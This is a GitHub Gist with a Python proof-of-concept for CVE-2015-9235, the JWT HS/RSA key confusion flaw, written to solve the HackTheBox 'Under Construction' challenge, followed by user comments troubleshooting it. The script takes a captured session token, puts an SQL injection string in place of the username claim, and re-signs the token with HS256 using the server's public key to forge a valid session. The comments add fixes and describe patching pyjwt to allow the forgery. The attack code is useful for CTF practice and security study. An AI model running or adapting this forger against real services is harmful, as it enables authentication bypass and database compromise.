-
-
Save wulfgarpro/3e87ae77a7107a3e3a2453eb38a3de20 to your computer and use it in GitHub Desktop.
""" | |
CVE-2015-9235 PoC, known as | |
"JWT HS/RSA key confusion vulnerability". | |
This PoC was used to solve the HTB challenge | |
"Under Construction" on HackTheBox (HTB). | |
USAGE: | |
== | |
Token was obtained by logging into the | |
"Under Construction" web app provided by the | |
HTB challenge: | |
1. Register a user via the register function | |
2. Start Burp proxy and configure browser to | |
connect to proxy | |
3. Login via the login function with "Intercept is on" | |
4. Forward request and send response to repeater | |
5. Copy token from the "Cookie: session=" header to file, | |
e.g. jwt_token_example.txt | |
6. Invoke jwt_forge.py with subshell: | |
python3 jwt_token.py $(cat jwt_token_example.txt) username | |
""" | |
import sys | |
import argparse | |
import base64 # Encode/decode strings in Base64Url | |
import json | |
import jwt | |
from colorama import Fore | |
# Quick intro to JWT tokens: | |
# == | |
# | |
# JWT Token; | |
# Three parts, seperated by ".": | |
# 1. Header | |
# 2. Payload | |
# 3. Signature | |
# | |
# Each part is Base64Url encoded. | |
# | |
# Header consists of: | |
# * Type of token (JWT) | |
# * Signing Algorithm; HMAC SHA256 (HS256) or RSA. | |
# | |
# Payload consists of token "claims". | |
# There are three types of claims: | |
# 1. Registered | |
# 2. Public | |
# 3. Private | |
# | |
# Claims, although protected against tampering, | |
# are readable by anyone. | |
# | |
# The signature is the verifying message. | |
# For example, HMAC SHA256, as specified | |
# in the header if chosen as the signing | |
# method, consists of: | |
# * The Base64Url encoded header and payload, | |
# seperated by ".", plus a secret, known only | |
# by the signer | |
# e.g. | |
# HMACSHA256( | |
# base64UrlEncode(header) + "." + | |
# base64UrlEncode(payload), | |
# secret) | |
# | |
# The final token is made up of these three | |
# Base64Url strings - separated by dots. | |
parser = argparse.ArgumentParser(description="JWT Key Confusion Forger for HTB Under Construction") | |
parser.add_argument("token", type=str, help="JWT token to confuse (must include 'pk' payload)") | |
parser.add_argument("sqli_cmd", type=str, help="SQL injected username to replace token username") | |
args = parser.parse_args() | |
TOKEN=args.token | |
SQLI_CMD = args.sqli_cmd | |
HEADER_ENCODED = None | |
PAYLOAD_ENCODED = None | |
SIGNATURE_ENCODED = None | |
TOKEN_SPLIT = [] | |
for t in TOKEN.split("."): | |
TOKEN_SPLIT.append(t) | |
HEADER_ENCODED = TOKEN_SPLIT[0] | |
PAYLOAD_ENCODED = TOKEN_SPLIT[1] | |
SIGNATURE_ENCODED = TOKEN_SPLIT[2] | |
#print("HEADER ENCODED: {}\n".format(HEADER_ENCODED)) | |
#print("PAYLOAD ENCODED: {}\n".format(PAYLOAD_ENCODED)) | |
#print("SIGNATURE ENCODED: {}\n".format(SIGNATURE_ENCODED)) | |
print() | |
print(Fore.BLUE + "Decoding JWT Token..." + Fore.RESET) | |
print() | |
HEADER_DECODED = base64.urlsafe_b64decode(HEADER_ENCODED).decode('UTF-8') | |
PAYLOAD_DECODED = base64.urlsafe_b64decode(PAYLOAD_ENCODED).decode('UTF-8') | |
PAYLOAD = json.loads(PAYLOAD_DECODED) | |
# Replace username in payload with SQLi command. | |
try: | |
USERNAME = PAYLOAD.get('username') | |
print(Fore.GREEN + "Found username:" + Fore.RESET) | |
print(USERNAME) | |
except KeyError: | |
print(Fore.RED + "ERROR: No username found in payload. Abort." + Fore.RESET) | |
sys.exit(-1) | |
print() | |
print(Fore.GREEN + "Replacing username {} with".format(USERNAME) + Fore.RESET) | |
print(SQLI_CMD) | |
print() | |
PAYLOAD['username'] = SQLI_CMD | |
# Attack! | |
# Re-create token, update alg to HS256 and sign with public key. | |
# | |
# As per: CVE-2015-9235 and this blog, | |
# https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/, | |
# the server side will "verify" the token validity by: | |
# 1. Expecting "RSA", but receiving "HS256" | |
# 2. Blindly passing the public key as the "verificationKey", | |
# confusing the public key as the verification key for the HS256 | |
# | |
# Since the attacker signs the token with the public key as the 'secret' to | |
# the HS256 secret key alg, the server side verification will result in a | |
# verified token. | |
# | |
# Apparently this was a vulnerability in multiple JWT token implementations | |
# including "jsonwebtoken" as described here: | |
# https://snyk.io/vuln/npm:jsonwebtoken:20150331 | |
# "Under Construction"'s package.json includes "jsonwebtoken", although at | |
# version ^8.5.1 which is not vulnerable? | |
# FUTURE: I guess the server side version is old and therefore vulnerable? | |
# 1. Get the supplied server public key 'pk' from PAYLOAD | |
try: | |
PK = PAYLOAD.get('pk') | |
print(Fore.GREEN + "Found public key:" + Fore.RESET) | |
print(PK) | |
print() | |
except KeyError: | |
print(Fore.RED + "ERROR: No public key 'pk' found in payload. Abort." + Fore.RESET) | |
sys.exit(-1) | |
print(Fore.GREEN + "Final payload:" + Fore.RESET) | |
print(json.dumps(PAYLOAD)) | |
print() | |
# 2. Create a new token using pk as the 'secret' for HS256 alg; | |
# FUTURE: using pyjwt's jwt.encode - re-implement later? | |
print(Fore.BLUE + "Forging confused token ..." + Fore.RESET) | |
FORGED_TOKEN_ENC = jwt.encode(PAYLOAD, PK, algorithm="HS256") | |
# 3. Print encoded token for use against web app | |
print() | |
print(Fore.GREEN + "Forged token:" + Fore.RESET) | |
print(FORGED_TOKEN_ENC.decode('UTF-8')) | |
print() | |
print(Fore.YELLOW + "Copy the above forged token and substitute token in request." + Fore.RESET) |
@wulfgarpro thanks for this script! I was having trouble with this box...
@DrJekels I added to line 99 to fix that:
PAYLOAD_DECODED = base64.urlsafe_b64decode(PAYLOAD_ENCODED+ '==').decode('UTF-8')
currently looking into this error:
Forging confused token ... Traceback (most recent call last): File "/home/user/htb/beg/under_construction/jwt_forge.py", line 156, in <module> FORGED_TOKEN_ENC = jwt.encode(PAYLOAD, PK, algorithm="HS256") AttributeError: module 'jwt' has no attribute 'encode' ill postup if I figure it out...
edit: seems that the module required is pyjwt NOT jwt
pip uninstall jwt pip uninstall pyjawt pip install pyjwt
but then I got an error saying that it prevents you from using a pk with HS alg... attempted to revert to pyjwt 0.4.3 but got a new import error...
EDIT: ended up editing the original JWT lib code at error line indicated to not care about the use of a public key with HMAC...
Thxs @p27182.
I keep getting this error: binascii.Error: Incorrect padding for line 99